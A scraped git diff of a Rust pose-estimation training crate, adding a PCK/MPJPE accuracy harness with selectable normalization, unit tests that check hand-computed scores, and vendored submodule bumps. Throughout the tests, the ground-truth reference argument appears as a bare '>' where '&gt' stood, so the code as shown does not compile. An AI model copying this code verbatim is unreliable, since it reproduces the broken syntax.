let gt = pose17(&[(CANON_LEFT_HIP, 0.5, 0.5), (CANON_RIGHT_HIP, 0.5, 0.5)]);
|
||||
let vis = vis17(&[CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
assert_eq!(pck_at(>, >, &vis, 20, PckNormalization::TorsoDiameter), (0, 0, 0.0));
|
||||
assert_eq!(pck_at(>, >, &vis, 20, PckNormalization::BoundingBoxDiagonal), (0, 0, 0.0));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_visible_keypoints_scores_zero() {
|
||||
let gt = pose17(&[(CANON_LEFT_HIP, 0.4, 0.5), (CANON_RIGHT_HIP, 0.6, 0.5)]);
|
||||
let vis = vis17(&[]); // nothing visible
|
||||
let (c, t, pck) = pck_at(>, >, &vis, 20, PckNormalization::TorsoDiameter);
|
||||
assert_eq!((c, t, pck), (0, 0, 0.0));
|
||||
assert_eq!(mpjpe(>, >, &vis), 0.0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn nan_coords_do_not_panic_and_count_wrong() {
|
||||
let gt = pose17(&[(5, 0.5, 0.5), (CANON_LEFT_HIP, 0.4, 0.5), (CANON_RIGHT_HIP, 0.6, 0.5)]);
|
||||
let mut pred = gt.clone();
|
||||
pred[[5, 0]] = f32::NAN; // joint 5 prediction is NaN
|
||||
let vis = vis17(&[5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
let (c, t, pck) = pck_at(&pred, >, &vis, 20, PckNormalization::TorsoDiameter);
|
||||
assert_eq!(t, 3);
|
||||
assert_eq!(c, 2, "NaN joint must count as wrong, hips correct ⇒ 2/3");
|
||||
assert!((pck - 2.0 / 3.0).abs() < 1e-6);
|
||||
// mpjpe with a NaN joint yields NaN (caller filters) but must not panic.
|
||||
assert!(mpjpe(&pred, >, &vis).is_nan());
|
||||
}
|
||||
|
||||
// -------- batch report: micro-average + self-describing struct --------
|
||||
#[test]
|
||||
fn accuracy_report_micro_averages_and_carries_definition() {
|
||||
// Frame A: 2 visible, both correct (2/2). Frame B: 2 visible, both wrong (0/2).
|
||||
// Micro-average over joints: 2 correct / 4 = 0.5 (NOT mean-of-frame-PCK,
|
||||
// which would be (1.0+0.0)/2 = 0.5 here too, but the accumulator is the
|
||||
// joint-level one).
|
||||
let gt = pose17(&[(CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
|
||||
let vis = vis17(&[CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
let frame_a = PoseFrame { pred: gt.clone(), gt: gt.clone(), visibility: vis.clone() };
|
||||
// Frame B: displace both hips by 0.05 (> τ 0.04) ⇒ both wrong.
|
||||
let pred_b = pose17(&[(CANON_LEFT_HIP, 0.45, 0.50), (CANON_RIGHT_HIP, 0.65, 0.50)]);
|
||||
let frame_b = PoseFrame { pred: pred_b, gt: gt.clone(), visibility: vis.clone() };
|
||||
|
||||
let report = accuracy_report(
|
||||
&[frame_a, frame_b],
|
||||
&[20, 50],
|
||||
PckNormalization::TorsoDiameter,
|
||||
);
|
||||
assert_eq!(report.n_frames, 2);
|
||||
assert_eq!(report.n_keypoints, 17);
|
||||
assert_eq!(report.normalization, PckNormalization::TorsoDiameter);
|
||||
// PCK@20: 2 correct / 4 visible = 0.5.
|
||||
assert!((report.pck(20).unwrap() - 0.5).abs() < 1e-6);
|
||||
// PCK@50: τ = 0.5·0.20 = 0.10, frame B err 0.05 ≤ 0.10 ⇒ all correct
|
||||
// ⇒ 4/4 = 1.0.
|
||||
assert!((report.pck(50).unwrap() - 1.0).abs() < 1e-6);
|
||||
// A reported number always carries its definition in the summary.
|
||||
assert!(report.summary().contains("torso-diameter"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn accuracy_report_empty_is_zero_not_nan() {
|
||||
let report = accuracy_report(&[], &[20], PckNormalization::BoundingBoxDiagonal);
|
||||
assert_eq!(report.n_frames, 0);
|
||||
assert_eq!(report.pck(20), Some(0.0));
|
||||
assert_eq!(report.mpjpe, 0.0);
|
||||
assert!(!report.mpjpe.is_nan());
|
||||
}
|
||||
|
||||
// -------- bbox-norm is looser than torso-norm (sanity, on a batch) --------
|
||||
#[test]
|
||||
fn bbox_norm_scores_at_least_torso_norm() {
|
||||
// bbox diagonal >= torso span always (bbox encloses the hips), so for the
|
||||
// SAME frames bbox-PCK >= torso-PCK at the same k. Pin this ordering.
|
||||
let gt = pose17(&[
|
||||
(0, 0.50, 0.10),
|
||||
(5, 0.50, 0.40),
|
||||
(CANON_LEFT_HIP, 0.40, 0.90),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.90),
|
||||
]);
|
||||
let pred = pose17(&[
|
||||
(0, 0.55, 0.10),
|
||||
(5, 0.58, 0.40),
|
||||
(CANON_LEFT_HIP, 0.42, 0.90),
|
||||
(CANON_RIGHT_HIP, 0.62, 0.90),
|
||||
]);
|
||||
let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
let frame = PoseFrame { pred, gt, visibility: vis };
|
||||
let torso = accuracy_report(std::slice::from_ref(&frame), &[20], PckNormalization::TorsoDiameter);
|
||||
let bbox = accuracy_report(std::slice::from_ref(&frame), &[20], PckNormalization::BoundingBoxDiagonal);
|
||||
assert!(
|
||||
bbox.pck(20).unwrap() >= torso.pck(20).unwrap(),
|
||||
"bbox-norm (looser) must be >= torso-norm: bbox={:?} torso={:?}",
|
||||
bbox.pck(20), torso.pck(20)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -43,6 +43,11 @@
|
||||
// All *this* crate's code is written without unsafe blocks.
|
||||
#![warn(missing_docs)]
|
||||
|
||||
/// Metric-locked pose-accuracy harness (ADR-155 §Tier-1.2; needs ADR slot 173)
|
||||
/// — selectable `PckNormalization` (torso / bbox-diagonal / absolute), `mpjpe`,
|
||||
/// and a self-describing `PoseAccuracy` result so a reported PCK number always
|
||||
/// carries the definition it was computed under.
|
||||
pub mod accuracy;
|
||||
pub mod config;
|
||||
pub mod dataset;
|
||||
pub mod domain;
|
||||
@@ -89,6 +94,11 @@ pub use metrics_core::{
|
||||
canonical_torso_size, oks_canonical, pck_canonical, CANON_LEFT_HIP, CANON_RIGHT_HIP,
|
||||
COCO_KP_SIGMAS,
|
||||
};
|
||||
// ADR-155 §Tier-1.2 — metric-locked accuracy harness (selectable PCK
|
||||
// normalization + MPJPE + self-describing result).
|
||||
pub use accuracy::{
|
||||
accuracy_report, mpjpe as pck_mpjpe, pck_at, PckNormalization, PoseAccuracy, PoseFrame,
|
||||
};
|
||||
pub use config::TrainingConfig;
|
||||
pub use dataset::{
|
||||
CsiDataset, CsiSample, DataLoader, MmFiDataset, SyntheticConfig, SyntheticCsiDataset,
|
||||
|
||||
@@ -29,6 +29,66 @@
|
||||
|
||||
use ndarray::{Array1, Array2};
|
||||
use wifi_densepose_train::{oks_canonical, pck_canonical, CANON_LEFT_HIP, CANON_RIGHT_HIP};
|
||||
// ADR-155 §Tier-1.2 — metric-locked accuracy harness public surface.
|
||||
use wifi_densepose_train::{accuracy_report, pck_at, PckNormalization, PoseFrame};
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Metric-locked accuracy harness: the three PCK normalizations are reachable
|
||||
// from the crate root and give DIFFERENT PCK on identical predictions — the
|
||||
// proof that the 96 / 81.6 / 61 figures were non-comparable (validated here as
|
||||
// a downstream consumer would call it).
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Identical predictions, three declared normalizations ⇒ three distinct PCK.
|
||||
/// Hand calc (all coords in `[0,1]`):
|
||||
/// * GT: nose(0)=(0.50,0.10), l_sh(5)=(0.50,0.30), hips=(0.40,0.90)/(0.60,0.90).
|
||||
/// * Pred: nose err 0.06, shoulder err 0.10, hips exact.
|
||||
/// * torso = 0.20 ⇒ τ@20 = 0.04 ⇒ only hips correct ⇒ 2/4 = **0.50**.
|
||||
/// * bbox = √(0.20²+0.80²)=0.82462 ⇒ τ@20 = 0.16492 ⇒ all correct ⇒ **1.00**.
|
||||
/// * abs(0.08): nose 0.06≤0.08 ok, shoulder 0.10>0.08 wrong ⇒ 3/4 = **0.75**.
|
||||
#[test]
|
||||
fn harness_three_normalizations_differ_from_crate_root() {
|
||||
let gt = pose17(&[
|
||||
(0, 0.50, 0.10),
|
||||
(5, 0.50, 0.30),
|
||||
(CANON_LEFT_HIP, 0.40, 0.90),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.90),
|
||||
]);
|
||||
let pred = pose17(&[
|
||||
(0, 0.56, 0.10),
|
||||
(5, 0.60, 0.30),
|
||||
(CANON_LEFT_HIP, 0.40, 0.90),
|
||||
(CANON_RIGHT_HIP, 0.60, 0.90),
|
||||
]);
|
||||
let vis = vis17(&[0, 5, CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
|
||||
let (_, _, torso) = pck_at(&pred, >, &vis, 20, PckNormalization::TorsoDiameter);
|
||||
let (_, _, bbox) = pck_at(&pred, >, &vis, 20, PckNormalization::BoundingBoxDiagonal);
|
||||
let (_, _, abs) = pck_at(&pred, >, &vis, 20, PckNormalization::AbsolutePixels(0.08));
|
||||
|
||||
assert!((torso - 0.50).abs() < 1e-6, "torso PCK 0.50, got {torso}");
|
||||
assert!((bbox - 1.00).abs() < 1e-6, "bbox PCK 1.00, got {bbox}");
|
||||
assert!((abs - 0.75).abs() < 1e-6, "abs(0.08) PCK 0.75, got {abs}");
|
||||
assert!(
|
||||
torso != bbox && bbox != abs && torso != abs,
|
||||
"three normalizations must be distinct: {torso} / {bbox} / {abs}"
|
||||
);
|
||||
}
|
||||
|
||||
/// `accuracy_report` returns a self-describing result carrying its normalization,
|
||||
/// so an unlabeled PCK number is structurally impossible at the API boundary.
|
||||
#[test]
|
||||
fn harness_report_carries_normalization_label() {
|
||||
let gt = pose17(&[(CANON_LEFT_HIP, 0.40, 0.50), (CANON_RIGHT_HIP, 0.60, 0.50)]);
|
||||
let vis = vis17(&[CANON_LEFT_HIP, CANON_RIGHT_HIP]);
|
||||
let frame = PoseFrame { pred: gt.clone(), gt: gt.clone(), visibility: vis };
|
||||
let report = accuracy_report(&[frame], &[20], PckNormalization::BoundingBoxDiagonal);
|
||||
assert_eq!(report.normalization, PckNormalization::BoundingBoxDiagonal);
|
||||
assert_eq!(report.n_keypoints, 17);
|
||||
assert_eq!(report.n_frames, 1);
|
||||
assert!((report.pck(20).unwrap() - 1.0).abs() < 1e-6);
|
||||
assert!(report.summary().contains("bbox-diagonal"));
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tests that use `EvalMetrics` (requires tch-backend because the metrics
|
||||
|
||||
Vendored
+1
-1
Submodule vendor/midstream updated: 8f70d2bb9d...92250c20d8
Vendored
+1
-1
Submodule vendor/ruvector updated: a083bd77fa...4231f0cf93
Vendored
+1
-1
Submodule vendor/rvcsi updated: 72891d740f...77c8b6e051
Vendored
+1
-1
Submodule vendor/sublinear-time-solver updated: c25dddf163...47804fc5ca
Reference in New Issue
Block a user